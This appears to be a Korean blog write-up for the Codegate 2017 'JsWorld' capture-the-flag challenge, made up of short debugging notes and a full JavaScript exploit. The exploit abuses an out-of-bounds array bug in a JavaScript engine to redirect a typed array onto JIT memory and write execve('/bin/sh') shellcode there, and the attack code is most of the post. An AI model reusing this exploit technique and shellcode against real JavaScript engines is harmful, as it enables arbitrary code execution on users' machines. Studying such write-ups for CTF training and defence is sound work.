-
Codegate 2017 JsWorldPwnable/CTF 2018. 5. 10. 17:00
b*js::math_atan vp=(주소)
주소 + 2(qword)를 하면 인자 주소가 나온다
JS:array는 int ?? + int rel_size + int?? int_length_size + data가 들어감. relsize옆에 데이터를 가르키는 주소가 있음
winmerge 프로그램으로 소스 비교하면서 취약점 찾을수있음
아래 주소에 모든 것이 들어가 있다..
참고: https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283function d_to_i2(d){var a = new Uint32Array(new Float64Array([d]).buffer);return [a[1], a[0]];}function i2_to_d(x){return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];}function i2_to_hex(i2){var v1 = ("00000000" + i2[0].toString(16)).substr(-8);var v2 = ("00000000" + i2[1].toString(16)).substr(-8);return [v1,v2];}function p_i2(d){return (i2_to_hex(d_to_i2(d))[0]+i2_to_hex(d_to_i2(d))[1])}function jit_read(data1,data2) {print('\nABCD')}var a = new Array(1);a[0] = 0x41414141;var uint = new Uint32Array(1000);for(var i =0;i<1000;i++) {uint[i] = 1000;}a.pop();a.pop();for(var i=0;;i++) {if(a[i]==1000) {break}}uo = i; //uint_offsetprint('\n');for(var j=0;j<500;j++) {jit_read('A','B');}var idx = 0;for(var j=0;;j++) {if(p_i2(a[j])=='0000018000000191') {idx = j;break;}}uint_data = p_i2(a[uo+2]);var shell = new Uint32Array(27);shell = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";print('\n');jit = p_i2(a[idx-2]);a[uo+2] = (a[idx-2]); //uint data -> jit addressprint('Jit: '+jit);print('uint data: '+uint_data);var hex = '';var temp = '';var idx = 0;for(var i=0;i<shell.length;i+=4) {hex = '';for(var j=0;j<4;j++) { //uint32_t == 4byteif(shell[i+j]!=undefined)hex+=(shell.charCodeAt(i+j).toString(16));}hex = hex.split('');temp = '';for(var j=0;j<8;j+=2) {temp += hex[hex.length-j-2] + hex[hex.length-j-1];}uint[idx] = parseInt('0x'+temp);idx+=1;}uint[idx-1] = 0x050f3b;jit_read('A','B');//Math.atan(a);cs 'Pwnable > CTF' 카테고리의 다른 글
RCTF 2018 Write up (2) 2018.05.21 Secuinside 2017 vvv (0) 2018.05.13 Codegate 2018 Final (0) 2018.04.10 Codegate 2017 final VM (0) 2018.03.22 Codegate 2017 final petshop (0) 2018.03.22